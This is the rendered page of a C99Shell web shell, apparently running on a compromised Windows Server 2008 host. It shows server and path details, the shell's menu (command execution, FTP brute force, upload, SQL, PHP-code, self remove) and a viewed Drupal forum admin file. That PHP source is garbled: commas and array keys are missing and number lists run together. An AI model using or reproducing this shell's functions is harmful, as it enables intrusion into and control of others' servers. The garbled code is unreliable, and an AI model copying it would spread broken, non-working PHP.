!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Intranet\C\xampp\htdocs\drupal\modules\forum\   drwxrwxrwx
Free 4.09 GB of 39.52 GB (10.36%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     forum.admin.inc (10.47 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: forum.admin.inc,v 1.8 2008/01/30 10:14:42 goba Exp $

/**
 * @file
 * Administrative page callbacks for the forum module.
 */

function forum_form_main($type$edit = array()) {
  if ((isset(
$_POST['op']) && $_POST['op'] == t('Delete')) || !empty($_POST['confirm'])) {
    return 
drupal_get_form('forum_confirm_delete'$edit['tid']);
  }
  switch (
$type) {
    case 
'forum':
      return 
drupal_get_form('forum_form_forum'$edit);
      break;
    case 
'container':
      return 
drupal_get_form('forum_form_container'$edit);
      break;
  }
}

/**
 * Returns a form for adding a forum to the forum vocabulary
 *
 * @param $edit Associative array containing a forum term to be added or edited.
 * @ingroup forms
 * @see forum_form_submit()
 */
function forum_form_forum(&$form_state$edit = array()) {
  
$edit += array(
    
'name' => '',
    
'description' => '',
    
'tid' => NULL,
    
'weight' => 0,
  );
  
$form['name'] = array('#type' => 'textfield',
    
'#title' => t('Forum name'),
    
'#default_value' => $edit['name'],
    
'#maxlength' => 255,
    
'#description' => t('Short but meaningful name for this collection of threaded discussions.'),
    
'#required' => TRUE,
  );
  
$form['description'] = array('#type' => 'textarea',
    
'#title' => t('Description'),
    
'#default_value' => $edit['description'],
    
'#description' => t('Description and guidelines for discussions within this forum.'),
  );
  
$form['parent']['#tree'] = TRUE;
  
$form['parent'][0] = _forum_parent_select($edit['tid'], t('Parent'), 'forum');
  
$form['weight'] = array('#type' => 'weight',
    
'#title' => t('Weight'),
    
'#default_value' => $edit['weight'],
    
'#description' => t('Forums are displayed in ascending order by weight (forums with equal weights are displayed alphabetically).'),
  );

  
$form['vid'] = array('#type' => 'hidden''#value' => variable_get('forum_nav_vocabulary'''));
  
$form['submit' ] = array('#type' => 'submit''#value' => t('Save'));
  if (
$edit['tid']) {
    
$form['delete'] = array('#type' => 'submit''#value' => t('Delete'));
    
$form['tid'] = array('#type' => 'hidden''#value' => $edit['tid']);
  }
  
$form['#submit'][] = 'forum_form_submit';
  
$form['#theme'] = 'forum_form';

  return 
$form;
}

/**
 * Process forum form and container form submissions.
 */
function forum_form_submit($form, &$form_state) {
  if (
$form['form_id']['#value'] == 'forum_form_container') {
    
$container TRUE;
    
$type t('forum container');
  }
  else {
    
$container FALSE;
    
$type t('forum');
  }

  
$status taxonomy_save_term($form_state['values']);
  switch (
$status) {
    case 
SAVED_NEW:
      if (
$container) {
        
$containers variable_get('forum_containers', array());
        
$containers[] = $form_state['values']['tid'];
        
variable_set('forum_containers'$containers);
      }
      
drupal_set_message(t('Created new @type %term.', array('%term' => $form_state['values']['name'], '@type' => $type)));
      break;
    case 
SAVED_UPDATED:
      
drupal_set_message(t('The @type %term has been updated.', array('%term' => $form_state['values']['name'], '@type' => $type)));
      break;
  }
  
$form_state['redirect'] = 'admin/content/forum';
  return;
}

/**
 * Returns a form for adding a container to the forum vocabulary
 *
 * @param $edit Associative array containing a container term to be added or edited.
 * @ingroup forms
 * @see forum_form_submit()
 */
function forum_form_container(&$form_state$edit = array()) {
  
$edit += array(
    
'name' => '',
    
'description' => '',
    
'tid' => NULL,
    
'weight' => 0,
  );
  
// Handle a delete operation.
  
$form['name'] = array(
    
'#title' => t('Container name'),
    
'#type' => 'textfield',
    
'#default_value' => $edit['name'],
    
'#maxlength' => 255,
    
'#description' => t('Short but meaningful name for this collection of related forums.'),
    
'#required' => TRUE
  
);

  
$form['description'] = array(
    
'#type' => 'textarea',
    
'#title' => t('Description'),
    
'#default_value' => $edit['description'],
    
'#description' => t('Description and guidelines for forums within this container.')
  );
  
$form['parent']['#tree'] = TRUE;
  
$form['parent'][0] = _forum_parent_select($edit['tid'], t('Parent'), 'container');
  
$form['weight'] = array(
    
'#type' => 'weight',
    
'#title' => t('Weight'),
    
'#default_value' => $edit['weight'],
    
'#description' => t('Containers are displayed in ascending order by weight (containers with equal weights are displayed alphabetically).')
  );

  
$form['vid'] = array(
    
'#type' => 'hidden',
    
'#value' => variable_get('forum_nav_vocabulary'''),
  );
  
$form['submit'] = array(
    
'#type' => 'submit',
    
'#value' => t('Save')
  );
  if (
$edit['tid']) {
    
$form['delete'] = array('#type' => 'submit''#value' => t('Delete'));
    
$form['tid'] = array('#type' => 'value''#value' => $edit['tid']);
  }
  
$form['#submit'][] = 'forum_form_submit';
  
$form['#theme'] = 'forum_form';

  return 
$form;
}

/**
 * Returns a confirmation page for deleting a forum taxonomy term.
 *
 * @param $tid ID of the term to be deleted
 */
function forum_confirm_delete(&$form_state$tid) {
  
$term taxonomy_get_term($tid);

  
$form['tid'] = array('#type' => 'value''#value' => $tid);
  
$form['name'] = array('#type' => 'value''#value' => $term->name);

  return 
confirm_form($formt('Are you sure you want to delete the forum %name?', array('%name' => $term->name)), 'admin/content/forum't('Deleting a forum or container will also delete its sub-forums, if any. To delete posts in this forum, visit <a href="@content">content administration</a> first. This action cannot be undone.', array('@content' => url('admin/content/node'))), t('Delete'), t('Cancel'));
}

/**
 * Implementation of forms api _submit call. Deletes a forum after confirmation.
 */
function forum_confirm_delete_submit($form, &$form_state) {
  
taxonomy_del_term($form_state['values']['tid']);
  
drupal_set_message(t('The forum %term and all sub-forums and associated posts have been deleted.', array('%term' => $form_state['values']['name'])));
  
watchdog('content''forum: deleted %term and all its sub-forums and associated posts.', array('%term' => $form_state['values']['name']));

  
$form_state['redirect'] = 'admin/content/forum';
  return;
}

/**
 * Form builder for the forum settings page.
 *
 * @see system_settings_form()
 */
function forum_admin_settings() {
  
$form = array();
  
$number drupal_map_assoc(array(510152025303540506080100150200250300350400500));
  
$form['forum_hot_topic'] = array('#type' => 'select',
    
'#title' => t('Hot topic threshold'),
    
'#default_value' => variable_get('forum_hot_topic'15),
    
'#options' => $number,
    
'#description' => t('The number of posts a topic must have to be considered "hot".'),
  );
  
$number drupal_map_assoc(array(10255075100));
  
$form['forum_per_page'] = array('#type' => 'select',
    
'#title' => t('Topics per page'),
    
'#default_value' => variable_get('forum_per_page'25),
    
'#options' => $number,
    
'#description' => t('Default number of forum topics displayed per page.'),
  );
  
$forder = array(=> t('Date - newest first'), => t('Date - oldest first'), => t('Posts - most active first'), => t('Posts - least active first'));
  
$form['forum_order'] = array('#type' => 'radios',
    
'#title' => t('Default order'),
    
'#default_value' => variable_get('forum_order''1'),
    
'#options' => $forder,
    
'#description' => t('Default display order for topics.'),
  );
  return 
system_settings_form($form);
}

/**
 * Returns an overview list of existing forums and containers
 */
function forum_overview(&$form_state) {
  
module_load_include('inc''taxonomy''taxonomy.admin');

  
$vid variable_get('forum_nav_vocabulary''');
  
$vocabulary taxonomy_vocabulary_load($vid);
  
$form taxonomy_overview_terms($form_state$vocabulary);
  
drupal_set_title('Forums');

  foreach (
element_children($form) as $key) {
    if (isset(
$form[$key]['#term'])) {
      
$term $form[$key]['#term'];
      
$form[$key]['view']['#value'] = l($term['name'], 'forum/'$term['tid']);
      if (
in_array($form[$key]['#term']['tid'], variable_get('forum_containers', array()))) {
        
$form[$key]['edit']['#value'] = l(t('edit container'), 'admin/content/forum/edit/container/'$term['tid']);
      }
      else {
        
$form[$key]['edit']['#value'] = l(t('edit forum'), 'admin/content/forum/edit/forum/'$term['tid']);
      }
    }
  }

  
// Remove the alphabetical reset.
  
unset($form['reset_alphabetical']);

  
// The form needs to have submit and validate handlers set explicitly.
  
$form['#theme'] = 'taxonomy_overview_terms';
  
$form['#submit'] = array('taxonomy_overview_terms_submit'); // Use the existing taxonomy overview submit handler.
  
$form['#validate'] = array('taxonomy_overview_terms_validate');
  
$form['#empty_text'] = '<em>'t('There are no existing containers or forums. Containers and forums may be added using the <a href="@container">add container</a> and <a href="@forum">add forum</a> pages.', array('@container' => url('admin/content/forum/add/container'), '@forum' => url('admin/content/forum/add/forum'))) .'</em>';
  return 
$form;
}

/**
 * Returns a select box for available parent terms
 *
 * @param $tid ID of the term which is being added or edited
 * @param $title Title to display the select box with
 * @param $child_type Whether the child is forum or container
 */
function _forum_parent_select($tid$title$child_type) {

  
$parents taxonomy_get_parents($tid);
  if (
$parents) {
    
$parent array_shift($parents);
    
$parent $parent->tid;
  }
  else {
    
$parent 0;
  }

  
$vid variable_get('forum_nav_vocabulary''');
  
$children taxonomy_get_tree($vid$tid);

  
// A term can't be the child of itself, nor of its children.
  
foreach ($children as $child) {
    
$exclude[] = $child->tid;
  }
  
$exclude[] = $tid;

  
$tree taxonomy_get_tree($vid);
  
$options[0] = '<'t('root') .'>';
  if (
$tree) {
    foreach (
$tree as $term) {
      if (!
in_array($term->tid$exclude)) {
        
$options[$term->tid] = str_repeat(' -- '$term->depth) . $term->name;
      }
    }
  }
  if (
$child_type == 'container') {
    
$description t('Containers are usually placed at the top (root) level, but may also be placed inside another container or forum.');
  }
  else if (
$child_type == 'forum') {
    
$description t('Forums may be placed at the top (root) level, or inside another container or forum.');
  }

  return array(
'#type' => 'select''#title' => $title'#default_value' => $parent'#options' => $options'#description' => $description'#required' => TRUE);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--